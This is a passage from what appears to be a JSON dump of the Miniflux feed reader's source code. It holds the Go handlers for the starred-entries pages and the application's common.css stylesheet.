entries)\n\tview.Set(\"total\", count)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/shares\"), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"history\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"shared_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/starred_entries.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showStarredPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\toffset := request.QueryIntParam(r, \"offset\", 0)\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tbuilder.WithStarred(true)\n\tbuilder.WithSorting(user.EntryOrder, user.EntryDirection)\n\tbuilder.WithSorting(\"id\", user.EntryDirection)\n\tbuilder.WithOffset(offset)\n\tbuilder.WithLimit(user.EntriesPerPage)\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcount, err := builder.CountEntries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"total\", count)\n\tview.Set(\"entries\", entries)\n\tview.Set(\"pagination\", getPagination(h.routePath(\"/starred\"), count, offset, user.EntriesPerPage))\n\tview.Set(\"menu\", \"starred\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"starred_entries\"))\n}\n"
  },
  {
    "path": "internal/ui/starred_entry_category.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showStarredCategoryEntryPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tcategoryID := request.RouteInt64Param(r, \"categoryID\")\n\tentryID := request.RouteInt64Param(r, \"entryID\")\n\n\tbuilder := h.store.NewEntryQueryBuilder(user.ID)\n\tbuilder.WithCategoryID(categoryID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tresponse.HTMLNotFound(w, r)\n\t\treturn\n\t}\n\n\tif entry.ShouldMarkAsReadOnView(user) {\n\t\terr = h.store.SetEntriesStatus(user.ID, []int64{entry.ID}, model.EntryStatusRead)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tentry.Status = model.EntryStatusRead\n\t}\n\n\tif user.AlwaysOpenExternalLinks {\n\t\tresponse.HTMLRedirect(w, r, entry.URL)\n\t\treturn\n\t}\n\n\tentryPaginationBuilder := storage.NewEntryPaginationBuilder(h.store, user.ID, entry.ID, user.EntryOrder, user.EntryDirection)\n\tentryPaginationBuilder.WithCategoryID(categoryID)\n\tentryPaginationBuilder.WithStarred()\n\n\tprevEntry, nextEntry, err := entryPaginationBuilder.Entries()\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tnextEntryRoute := \"\"\n\tif nextEntry != nil {\n\t\tnextEntryRoute = h.routePath(\"/starred/category/%d/entry/%d\", categoryID, nextEntry.ID)\n\t}\n\n\tprevEntryRoute := \"\"\n\tif prevEntry != nil {\n\t\tprevEntryRoute = h.routePath(\"/starred/category/%d/entry/%d\", categoryID, prevEntry.ID)\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"entry\", entry)\n\tview.Set(\"prevEntry\", prevEntry)\n\tview.Set(\"nextEntry\", nextEntry)\n\tview.Set(\"nextEntryRoute\", nextEntryRoute)\n\tview.Set(\"prevEntryRoute\", prevEntryRoute)\n\tview.Set(\"menu\", \"categories\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\tview.Set(\"hasSaveEntry\", h.store.HasSaveEntry(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"entry\"))\n}\n"
  },
  {
    "path": "internal/ui/static/css/common.css",
    "content": "/* Layout */\n* {\n    margin: 0;\n    padding: 0;\n    box-sizing: border-box;\n}\n\nhtml {\n    -webkit-text-size-adjust: 100%;\n    text-size-adjust: 100%;\n}\n\nbody {\n    font-family: var(--font-family);\n    text-rendering: optimizeLegibility;\n    color: var(--body-color);\n    background: var(--body-background);\n}\n\nhr {\n    border: 0;\n    height: 0;\n    border-top: 1px dotted var(--hr-border-color);\n    padding-bottom: 10px;\n}\n\nh1, h2, h3 {\n    color: var(--title-color);\n}\n\nmain {\n    padding-left: 3px;\n    padding-right: 3px;\n    margin-bottom: 30px;\n}\n\na {\n    color: var(--link-color);\n}\n\na:focus {\n    outline: 0;\n    color: var(--link-focus-color);\n    text-decoration: none;\n    outline: 1px dotted #aaa;\n}\n\na:hover {\n    color: var(--link-hover-color);\n    text-decoration: none;\n}\n\n.sr-only {\n    border: 0 !important;\n    clip: rect(1px, 1px, 1px, 1px) !important;\n    clip-path: inset(50%) !important;\n    height: 1px !important;\n    overflow: hidden !important;\n    margin: -1px !important;\n    padding: 0 !important;\n    position: absolute !important;\n    width: 1px !important;\n    white-space: nowrap !important;\n}\n\n.skip-to-content-link {\n    --padding-size: 8px;\n    --border-size: 1px;\n\n    background-color: var(--category-background-color);\n    color: var(--category-color);\n    border: var(--border-size) solid var(--category-border-color);\n    border-radius: 5px;\n    inset-inline-start: 50%;\n    padding: var(--padding-size);\n    position: absolute;\n    transition: translate 0.3s;\n    translate: -50% calc(-100% - calc(var(--padding-size) * 2) - calc(var(--border-size) * 2));\n}\n\n.skip-to-content-link:focus {\n    translate: -50% 0;\n}\n\n/* Smoother pages transition */\n@media not all and (prefers-reduced-motion: reduce) {\n    @view-transition {\n        navigation: auto;\n    }\n}\n@media (prefers-reduced-motion: reduce) {\n  @view-transition {\n    navigation: none;\n  }\n}\n\n/* Header and main menu */\n.header {\n    margin-top: 10px;\n    margin-bottom: 20px;\n}\n\n.header nav {\n    display: flex;\n    align-items: stretch;\n    flex-direction: column;\n}\n\n.header nav .logo svg {\n    padding: 5px;\n    inline-size: 24px;\n    block-size: 24px;\n}\n\n.header nav .logo[aria-expanded=\"true\"] svg {\n    rotate: 180deg;\n}\n\n.header ul.js-menu-show {\n    display: initial;\n}\n\n.header ul:not(.js-menu-show) {\n    display: none;\n}\n\n.header li {\n    cursor: pointer;\n    padding-left: 10px;\n    line-height: 2.1em;\n    font-size: 1.2em;\n    border-bottom: 1px dotted var(--header-list-border-color);\n}\n\n.header li a:hover {\n    color: #888;\n}\n\n.header :is(a, summary) {\n    font-size: 0.9em;\n    color: var(--header-link-color);\n    text-decoration: none;\n    border: none;\n    font-weight: 400;\n}\n\n.header .active a {\n    color: var(--header-active-link-color);\n    /* Note: Firefox on Windows does not show the link as bold if the value is under 600 */\n    font-weight: 600;\n}\n\n.header a:focus {\n    color: var(--header-link-focus-color);\n}\n\n/* Page header and footer*/\n.page-header {\n    padding-inline: 3px;\n    margin-bottom: 10px;\n}\n\n.page-footer {\n    margin-bottom: 10px;\n}\n\n.page-header h1 {\n    font-weight: 500;\n    border-bottom: 1px dotted var(--page-header-title-border-color);\n    font-size: 1.5rem;\n}\n\n.page-header h1 a {\n    text-decoration: none;\n    color: var(--page-header-title-color);\n}\n\n.page-header h1 a:hover,\n.page-header h1 a:focus {\n    color: #666;\n}\n\n.page-header li,\n.page-footer li {\n    list-style-type: none;\n    line-height: 1.8em;\n    white-space: nowrap;\n}\n\n#header-menu .icon,\n.page-header ul a .icon {\n    margin-bottom: 2px;\n}\n\n.page-header-action-form {\n    display: inline-flex;\n}\n\n:is(.page-button, .page-link) {\n    color: var(--link-color);\n    border: none;\n    background-color: transparent;\n    font-size: 1rem;\n    cursor: pointer;\n\n    &:is(:hover, :focus) {\n        color: var(--link-hover-color);\n    }\n}\n\n.page-button:active {\n    translate: 1px 1px;\n}\n\n/* Logo */\n.logo {\n    text-align: center;\n    display: flex;\n    justify-content: center;\n}\n\n.logo a {\n    color: var(--logo-color);\n    letter-spacing: 1px;\n    display: flex;\n    align-items: center;\n}\n\n.logo a:hover {\n    color: #339966;\n}\n\n.logo a span {\n    color: #339966;\n}\n\n.logo a:hover span {\n    color: var(--logo-hover-color-span);\n}\n\n/* PWA prompt */\n#prompt-home-screen {\n    display: none;\n    position: fixed;\n    bottom: 0;\n    right: 0;\n    width: 100%;\n    text-align: center;\n    background: #000;\n    opacity: 85%;\n}\n\n#btn-add-to-home-screen {\n    text-decoration: none;\n    height: 30px;\n    color: #fff;\n    background-color: transparent;\n    border: 0;\n}\n\n#btn-add-to-home-screen:hover {\n    color: red;\n}\n\n/* Notification - \"Toast\" */\n#toast-wrapper {\n    visibility: hidden;\n    opacity: 0;\n    position: fixed;\n    left: 0;\n    bottom: 10%;\n    color: #fff;\n    width: 100%;\n    text-align: center;\n}\n\n#toast-msg {\n    background-color: rgba(0,0,0,0.7);\n    padding-bottom: 4px;\n    padding-left: 4px;\n    padding-right: 5px;\n    border-radius: 5px;\n}\n\n.toast-animate {\n    animation: toastKeyFrames 2s;\n}\n\n@keyframes toastKeyFrames {\n    0% {visibility: hidden; opacity: 0;}\n    25% {visibility: visible; opacity: 1; z-index: 9999}\n    50% {visibility: visible; opacity: 1; z-index: 9999}\n    75% {visibility: visible; opacity: 1; z-index: 9999}\n    100% {visibility: hidden; opacity: 0; z-index: 0}\n}\n\n/* Hide the logo when there is not enough space to display menus when using languages more verbose than English */\n@media (min-width: 620px) and (max-width: 850px) {\n    .logo {\n        display: none;\n    }\n}\n\n@media (min-width: 850px) {\n    .logo {\n        padding-right: 8px;\n    }\n}\n\n@media (min-width: 620px) {\n    body {\n        margin: auto;\n        max-width: 900px; /* Wide enough to display the logo and the menu one a single row for any languages */\n    }\n\n    .header {\n        padding-left: 3px;\n    }\n\n    .header li {\n        display: inline-block;\n        padding: 0 5px 0 0;\n        line-height: normal;\n        border: none;\n        font-size: 1.0em;\n    }\n\n    .header nav {\n        flex-direction: row;\n    }\n\n    .header .logo svg {\n        display: none;\n    }\n\n    .header ul:not(.js-menu-show), .header ul.js-menu-show {\n        display: revert;\n    }\n\n    .header :is(a, summary):hover {\n        color: var(--header-link-hover-color);\n    }\n\n    .page-header li,\n    .page-footer li {\n        display: inline;\n        padding-right: 15px;\n    }\n\n    .pagination-backward,\n    .pagination-forward {\n        display: flex;\n    }\n}\n\n/* Tables */\ntable {\n    width: 100%;\n    border-collapse: collapse;\n}\n\ntable, th, td {\n    border: 1px solid var(--table-border-color);\n}\n\nth, td {\n    padding: 5px;\n    text-align: left;\n}\n\ntd {\n    vertical-align: top;\n}\n\nth {\n    background: var(--table-th-background);\n    color: var(--table-th-color);\n    font-weight: 400;\n}\n\ntr:hover {\n    color: var(--table-tr-hover-color);\n    background-color: var(--table-tr-hover-background-color);\n}\n\n.column-40 {\n    width: 40%;\n}\n\n.column-25 {\n    width: 25%;\n}\n\n.column-20 {\n    width: 20%;\n}\n\n/* Forms */\nfieldset {\n    border: 1px dotted #ddd;\n    padding: 8px;\n    margin-bottom: 20px;\n}\n\nlegend {\n    font-weight: 500;\n    padding-left: 3px;\n    padding-right: 3px;\n}\n\nlabel {\n    cursor: pointer;\n    display: block;\n}\n\n.radio-group {\n    line-height: 1.9em;\n}\n\ndiv.radio-group label {\n    display: inline-block;\n}\n\nselect {\n    margin-bottom: 15px;\n}\n\ninput[type=\"search\"],\ninput[type=\"url\"],\ninput[type=\"password\"],\ninput[type=\"text\"],\ninput[type=\"number\"] {\n    color: var(--input-color);\n    background: var(--input-background);\n    border: var(--input-border);\n    padding: 3px;\n    line-height: 20px;\n    width: 250px;\n    font-size: 99%;\n    margin-top: 5px;\n    margin-bottom: 10px;;\n    appearance: none;\n}\n\ninput[type=\"search\"]:focus,\ninput[type=\"url\"]:focus,\ninput[type=\"password\"]:focus,\ninput[type=\"text\"]:focus,\ninput[type=\"number\"]:focus {\n    color: var(--input-focus-color);\n    border-color: var(--input-focus-border-color);\n    outline: 0;\n    box-shadow: var(--input-focus-box-shadow);\n}\n\n#form-entries-per-page {\n    max-width: 80px;\n}\n\ninput[type=\"checkbox\"] {\n    margin-top: 10px;\n    margin-bottom: 10px;\n}\n\n.search-form {\n    display: flex;\n    flex-direction: column;\n    align-items: flex-start;\n    gap: 6px;\n}\n\n.search-input-row {\n    display: flex;\n    align-items: center;\n    gap: 12px;\n}\n\n.search-input-row input[type=\"search\"] {\n    margin: 0;\n}\n\n.search-input-row .button {\n    margin: 0;\n}\n\n.search-filter {\n    display: inline-flex;\n    align-items: center;\n    gap: 6px;\n    margin: 0;\n}\n\n.search-filter input[type=\"checkbox\"] {\n    margin: 0;\n}\n\ntextarea {\n    width: 350px;\n    color: var(--input-color);\n    background: var(--input-background);\n    border: var(--input-border);\n    padding: 3px;\n    margin-bottom: 10px;\n    margin-top: 5px;\n    appearance: none;\n}\n\ntextarea:focus {\n    color: var(--input-focus-color);\n    border-color: var(--input-focus-border-color);\n    outline: 0;\n    box-shadow: var(--input-focus-box-shadow);\n}\n\ninput::placeholder {\n    color: var(--input-placeholder-color);\n    padding-top: 2px;\n}\n\n.form-label-row {\n    display: flex;\n}\n\n.form-help {\n    font-size: 0.9em;\n    color: brown;\n    margin-bottom: 15px;\n}\n\n.form-section {\n    border-left: 2px dotted #ddd;\n    padding-left: 20px;\n    margin-left: 10px;\n}\n\ndetails > summary {\n    outline: none;\n    cursor: pointer;\n}\n\n.details-content {\n    margin-top: 15px;\n}\n\n/* Buttons */\na.button {\n    text-decoration: none;\n}\n\n.button {\n    display: inline-block;\n    appearance: none;\n    font-size: 1.1em;\n    cursor: pointer;\n    padding: 3px 10px;\n    border: 1px solid;\n    border-radius: unset;\n}\n\n.button-primary {\n    border-color: var(--button-primary-border-color);\n    background: var(--button-primary-background);\n    color: var(--button-primary-color);\n}\n\na.button-primary:hover,\na.button-primary:focus,\n.button-primary:hover,\n.button-primary:focus {\n    border-color: var(--button-primary-focus-border-color);\n    background: var(--button-primary-focus-background);\n    color: var(--button-primary-color);\n}\n\n.button-danger {\n    border-color: #b0281a;\n    background: #d14836;\n    color: #fff;\n}\n\n.button-danger:hover,\n.button-danger:focus {\n    color: #fff;\n    background: #c53727;\n}\n\n.button:disabled {\n    color: #ccc;\n    background: #f7f7f7;\n    border-color: #ccc;\n}\n\n.buttons {\n    margin-top: 10px;\n    margin-bottom: 20px;\n}\n\nfieldset .buttons {\n    margin-bottom: 0;\n}\n\n/* Alerts */\n.alert {\n    padding: 8px 35px 8px 14px;\n    margin-bottom: 20px;\n    color: var(--alert-color);\n    background-color: var(--alert-background-color);\n    border: 1px solid var(--alert-border-color);\n    border-radius: 4px;\n    overflow: auto;\n}\n\n.alert h3 {\n    margin-top: 0;\n    margin-bottom: 15px;\n}\n\n.alert-success {\n    color: var(--alert-success-color);\n    background-color: var(--alert-success-background-color);\n    border-color: var(--alert-success-border-color);\n}\n\n.alert-error {\n    color: var(--alert-error-color);\n    background-color: var(--alert-error-background-color);\n    border-color: var(--alert-error-border-color);\n}\n\n.alert-error h3,\n.alert-error a {\n    color: var(--alert-error-color);\n}\n\n.alert-info {\n    color: var(--alert-info-color);\n    background-color: var(--alert-info-background-color);\n    border-color: var(--alert-info-border-color);\n}\n\n/* Panel */\n.panel {\n    color: var(--panel-color);\n    background-color: var(--panel-background);\n    border: 1px solid var(--panel-border-color);\n    border-radius: 5px;\n    padding: 10px;\n    margin-bottom: 15px;\n}\n\n.panel h3 {\n    font-weight: 500;\n    margin-top: 0;\n    margin-bottom: 20px;\n}\n\n.panel ul {\n    margin-left: 30px;\n}\n\n/* Modals */\ntemplate {\n    display: none;\n}\n\ndialog {\n    max-height: none;\n    height: 100vh;\n    border: none;\n    padding: 1%;\n}\n\n.btn-close-modal {\n    position: absolute;\n    top: 0;\n    right: 0;\n    font-size: 1.7em;\n    color: #ccc;\n    padding:0 .2em;\n    margin: 10px;\n    text-decoration: none;\n    background-color: transparent;\n    border: none;\n}\n\n.btn-close-modal:hover {\n    color: #999;\n}\n\n/* Keyboard Shortcuts */\n.keyboard-shortcuts li {\n    margin-left: 25px;\n    list-style-type: square;\n    color: var(--keyboard-shortcuts-li-color);\n    font-size: 0.95em;\n    line-height: 1.45em;\n}\n\n.keyboard-shortcuts p {\n    line-height: 1.9em;\n}\n\n/* Login form */\n.login-form {\n    margin: 50px auto 0;\n    max-width: 300px;\n}\n\n.webauthn {\n    margin-bottom: 20px;\n}\n\n/* Counters */\n.unread-counter-wrapper,\n.error-feeds-counter-wrapper {\n    font-size: 0.9em;\n    font-weight: 300;\n    color: var(--counter-color);\n}\n\n/* Category label */\n.category {\n    font-size: 0.75em;\n    background-color: var(--category-background-color);\n    border: 1px solid var(--category-border-color);\n    border-radius: 5px;\n    margin-left: 0.25em;\n    padding: 1px 0.4em 1px 0.4em;\n    white-space: nowrap;\n    color: var(--category-color);\n}\n\n.category a {\n    color: var(--category-link-color);\n    text-decoration: none;\n}\n\n.category a:hover,\n.category a:focus {\n    color: var(--category-link-hover-color);\n}\n\n\n.category-item-total {\n    color: var(--body-color);\n}\n\n/* Pagination */\n.pagination {\n    font-size: 1.1em;\n    display: flex;\n    align-items: center;\n    justify-content: space-between;\n}\n\n.pagination-top {\n    padding-bottom: 8px;\n}\n\n.pagination-bottom {\n    padding-top: 8px;\n}\n\n.pagination-entry-top {\n    padding-top: 8px;\n}\n\n.pagination-entry-bottom {\n    border-top: 1px dotted var(--pagination-border-color);\n    margin-bottom: 15px;\n    margin-top: 50px;\n    padding-top: 8px;\n}\n\n.pagination > div.pagination-backward > div {\n    padding-right: 15px;\n}\n\n.pagination > div.pagination-forward > div {\n    padding-left: 15px;\n}\n\n.pagination-next, .pagination-last {\n    text-align: right;\n}\n\n.pagination-next:after {\n    content: \" ›\";\n}\n\n.pagination-last:after {\n    content: \" »\";\n}\n\n.pagination-prev:before {\n    content: \"‹ \";\n}\n\n.pagination-first:before {\n    content: \"« \";\n}\n\n.pagination a {\n    color: var(--pagination-link-color);\n}\n\n.pagination a:hover,\n.pagination a:focus {\n    text-decoration: none;\n}\n\n/* List view */\n.item {\n    border: 1px dotted var(--item-border-color);\n    margin-bottom: 20px;\n    padding: var(--item-padding);\n    overflow: hidden;\n}\n\n.item.current-item {\n    border: var(--current-item-border-width) solid var(--current-item-border-color);\n    padding: 3px;\n    box-shadow: var(--current-item-box-shadow);\n}\n\n.item.current-item:focus {\n    outline: none;\n}\n\n\n.item-header {\n    font-size: 1rem;\n}\n\n.item-header span {\n    font-weight: normal;\n    display: inline-block;\n}\n\n.item-title {\n    font-size: 1rem;\n    margin: 0;\n    display: inline;\n}\n\n.item-title a {\n    text-decoration: none;\n    font-weight: var(--item-title-link-font-weight);\n    font-size: inherit;\n}\n\n.feed-entries-counter {\n    display: inline-flex;\n    gap: 2px;\n    align-items: center;\n}\n\n.item-status-read .item-title a {\n    color: var(--item-status-read-title-link-color);\n}\n\n.item-meta {\n    color: var(--item-meta-focus-color);\n    font-size: 0.8em;\n}\n\n.item-meta a {\n    color: #777;\n    text-decoration: none;\n}\n\n.item-meta :is(a:is(:focus, :hover), button:is(:focus, :hover)) {\n    color: #333;\n}\n\n.item-meta ul {\n    margin-top: 5px;\n}\n\n.item-meta li {\n    display: inline-block;\n}\n\n.item-meta-info {\n    font-size: 0.85em;\n}\n\n.item-meta-info li:not(:last-child):after {\n    content: \"|\";\n    color: var(--item-meta-li-color);\n}\n\n.item-meta-icons li {\n    margin-right: 8px;\n    margin-top: 4px;\n}\n\n.item-meta-icons li:last-child {\n    margin-right: 0;\n}\n\n.item-meta-icons li > :is(a, button) {\n    color: #777;\n    text-decoration: none;\n    font-size: 0.8rem;\n    border: none;\n    background-color: transparent;\n    cursor: pointer;\n}\n\n.item-meta-icons a span {\n    text-decoration: underline;\n}\n\n.item-meta-icons button:active {\n    translate: 1px 1px;\n}\n\n.items {\n    overflow-x: hidden;\n    touch-action: pan-y;\n}\n\n.hide-read-items .item-status-read:not(.current-item) {\n    display: none;\n}\n\n.entry-swipe {\n    transition-property: transform;\n    transition-duration: 0s;\n    transition-timing-function: ease-out;\n}\n\n/* Feeds list */\narticle.feed-parsing-error {\n    background-color: var(--feed-parsing-error-background-color);\n    border-style: var(--feed-parsing-error-border-style);\n    border-color: var(--feed-parsing-error-border-color);\n}\n\narticle.feed-has-unread {\n    background-color: var(--feed-has-unread-background-color);\n    border-style: var(--feed-has-unread-border-style);\n    border-color: var(--feed-has-unread-border-color);\n}\n\n.parsing-error {\n    font-size: 0.85em;\n    margin-top: 2px;\n    color: var(--parsing-error-color);\n}\n\n.parsing-error-count {\n    cursor: pointer;\n}\n\n/* Categories list */\narticle.category-has-unread {\n    background-color: var(--category-has-unread-background-color);\n    border-style: var(--category-has-unread-border-style);\n    border-color: var(--category-has-unread-border-color);\n}\n\n/* Icons */\n.icon,\n.icon-label {\n    vertical-align: text-bottom;\n    display: inline-block;\n    margin-right: 2px;\n}\n\n.icon {\n    width: 16px;\n    height: 16px;\n}\n\n/* Entry view */\n.entry header {\n    padding-bottom: 5px;\n    padding-inline: 5px;\n    border-bottom: 1px dotted var(--entry-header-border-color);\n}\n\n.entry header h1 {\n    font-size: 2.0em;\n    line-height: 1.25em;\n    margin: 5px 0 30px 0;\n    overflow-wrap: break-word;\n}\n\n.entry header h1 a {\n    text-decoration: none;\n    color: var(--entry-header-title-link-color);\n}\n\n.entry header h1 a:hover,\n.entry header h1 a:focus {\n    color: #666;\n}\n\n.entry-actions {\n    margin-bottom: 20px;\n}\n\n.entry-actions a span {\n    text-decoration: underline;\n}\n\n.entry-actions li {\n    display: inline-block;\n    margin-right: 15px;\n    line-height: 1.7em;\n}\n\n.entry-actions .icon-label {\n    vertical-align: middle;\n}\n\n.entry-meta {\n    font-size: 0.95em;\n    margin: 0 0 20px;\n    color: #666;\n    overflow-wrap: break-word;\n}\n\n.entry-tags {\n    margin-top: 20px;\n    margin-bottom: 20px;\n}\n\n.entry-tags strong {\n    font-weight: 600;\n}\n\n.entry-tags-list {\n    display: inline;\n    margin: 0;\n    padding: 0;\n}\n\n.entry-tags-list li {\n    display: inline-block;\n}\n\n.entry-tags-list li::after {\n    content: \", \";\n}\n\n.entry-tags-list li:last-child::after {\n    content: \"\";\n}\n\n.entry-additional-tags {\n    font-size: 0.8em;\n    margin-top: 10px;\n}\n\n.entry-website img {\n    vertical-align: top;\n}\n\n.entry-website a {\n    color: #666;\n    vertical-align: top;\n    text-decoration: none;\n}\n\n.entry-website a:hover,\n.entry-website a:focus {\n    text-decoration: underline;\n}\n\n.entry-date {\n    font-size: 0.65em;\n    font-style: italic;\n    color: #555;\n}\n\n.entry-content {\n    padding-top: 15px;\n    font-size: 1.2em;\n    font-weight: var(--entry-content-font-weight);\n    font-family: var(--entry-content-font-family);\n    color: var(--entry-content-color);\n    line-height: 1.4em;\n    overflow-wrap: break-word;\n}\n\n.entry-content h1, h2, h3, h4, h5, h6 {\n    margin-top: 15px;\n    margin-bottom: 10px;\n}\n\n.entry-content iframe,\n.entry-content video,\n.entry-content img {\n    max-width: 100%;\n}\n\n.entry-content img {\n    height: auto;\n}\n\n.entry-content figure {\n    margin-top: 15px;\n    margin-bottom: 15px;\n}\n\n.entry-content figure img {\n    border: 1px solid #000;\n}\n\n.entry-content figcaption {\n    font-size: 0.75em;\n    text-transform: uppercase;\n    color: #777;\n}\n\n.entry-content p {\n    margin-top: 10px;\n    margin-bottom: 15px;\n}\n\n.entry-content a {\n    overflow-wrap: break-word;\n}\n\n.entry-content a:visited {\n    color: var(--link-visited-color);\n}\n\n.entry-content dt {\n    font-weight: 500;\n    margin-top: 15px;\n    color: #555;\n}\n\n.entry-content dd {\n    margin-left: 15px;\n    margin-top: 5px;\n    padding-left: 20px;\n    border-left: 3px solid #ddd;\n    color: #777;\n    font-weight: 300;\n    line-height: 1.4em;\n}\n\n.entry-content blockquote {\n    border-left: 4px solid #ddd;\n    padding-left: 25px;\n    margin-left: 20px;\n    margin-top: 20px;\n    margin-bottom: 20px;\n    line-height: 1.4em;\n    font-family: var(--entry-content-quote-font-family);\n}\n\n.entry-content q {\n    color: var(--entry-content-quote-color);\n    font-family: var(--entry-content-quote-font-family);\n    font-style: italic;\n}\n\n.entry-content q:before {\n    content: \"“\";\n}\n\n.entry-content q:after {\n    content: \"”\";\n}\n\n.entry-content pre {\n    padding: 5px;\n    overflow: auto;\n    overflow-wrap: initial;\n    border-width: 1px;\n    border-style: solid;\n}\n\n.entry-content pre,\n.entry-content code {\n    color: var(--entry-content-code-color);\n    background: var(--entry-content-code-background);\n    border-color: var(--entry-content-code-border-color);\n}\n\n.entry-content table {\n    max-width: 100%;\n}\n\n.entry-content ul,\n.entry-content ol {\n    margin-left: 30px;\n    margin-top: 15px;\n    margin-bottom: 15px;\n}\n\n.entry-content li ul,\n.entry-content li ol {\n    margin-top: 0;\n    margin-bottom: 0;\n}\n\n.entry-content ul {\n    list-style-type: square;\n}\n\n.entry-content strong {\n    font-weight: 600;\n}\n\n.entry-content sub,\n.entry-content sup {\n    font-size: 75%;\n    line-height: 0;\n    position: relative;\n    vertical-align: baseline;\n}\n\n.entry-content sub {\n    bottom: -0.25em;\n}\n\n.entry-content sup {\n    top: -0.5em;\n}\n\n.entry-content abbr {\n    cursor: pointer;\n    text-decoration: none;\n    border-bottom: 1px dashed var(--entry-content-abbr-border-color);\n}\n\n.entry-content aside {\n    font-size: 0.9em;\n    padding: 1ch;\n    margin-bottom: 15px;\n    font-style: italic;\n    border: dotted var(--entry-content-aside-border-color) 2px;\n}\n\ndetails.entry-enclosures {\n    margin-top: 25px;\n}\n\n.entry-enclosures summary {\n    font-weight: 500;\n    font-size: 1.2em;\n}\n\n.entry-enclosure {\n    border: 1px dotted var(--entry-enclosure-border-color);\n    padding: 5px;\n    margin-top: 10px;\n    max-width: 100%;\n}\n\n.entry-enclosure-download {\n    font-size: 0.85em;\n    overflow-wrap: break-word;\n}\n\n.enclosure-video video,\n.enclosure-image img {\n    max-width: 100%;\n}\n\n.entry-external-link {\n    font-size: 0.8em;\n    margin-top: 10px;\n    margin-bottom: 10px;\n    word-wrap: break-word;\n}\n\n/* Confirmation */\n.confirm {\n    font-weight: 500;\n    color: #ed2d04;\n}\n\n.confirm button {\n    color: #ed2d04;\n    border: none;\n    background-color: transparent;\n    cursor: pointer;\n    font-size: inherit;\n}\n\n.loading {\n    font-style: italic;\n}\n\n/* Bookmarlet */\n.bookmarklet {\n    border: 1px dashed #ccc;\n    border-radius: 5px;\n    padding: 15px;\n    margin: 15px;\n    text-align: center;\n}\n\n.bookmarklet a {\n    font-weight: 600;\n    text-decoration: none;\n    font-size: 1.2em;\n}\n\n.disabled {\n    opacity: 20%;\n}\n\naudio, video {\n    width: 100%;\n}\n\n.media-controls{\n    font-size: .9em;\n    display: flex;\n    flex-wrap: wrap;\n}\n\n.media-controls .media-control-label{\n    line-height: 1em;\n}\n\n.media-controls>div{\n    display: flex;\n    flex-wrap: nowrap;\n    justify-content:center;\n    min-width: 50%;\n    align-items: center;\n}\n\n.media-controls>div>*{\n    padding-left:12px;\n}\n\n.media-controls>div>*:first-child{\n    padding-left:0;\n}\n\n.media-controls span.speed-indicator{\n    /*monospace to ensure constant width even when value change. JS ensure the value is always on 4 characters (in most cases)\n    This reduce ui flickering due to element moving around a bit\n    */\n    font-family: monospace;\n}\n\n.integration-form summary {\n    font-weight: 700;\n}\n\n.integration-form details {\n    margin-bottom: 15px;\n}\n\n.integration-form details .form-section {\n    margin-top: 15px;\n}\n\n.hidden {\n    display: none;\n}\n\nfooter {\n    margin: 1em auto;\n}\n\nfooter .elevator {\n    display: block;\n    width: fit-content;\n    margin: 0 auto;\n}\n\n.pagination-top .elevator,\n.pagination-entry-top .elevator {\n    display: none;\n}\n"
  },
  {
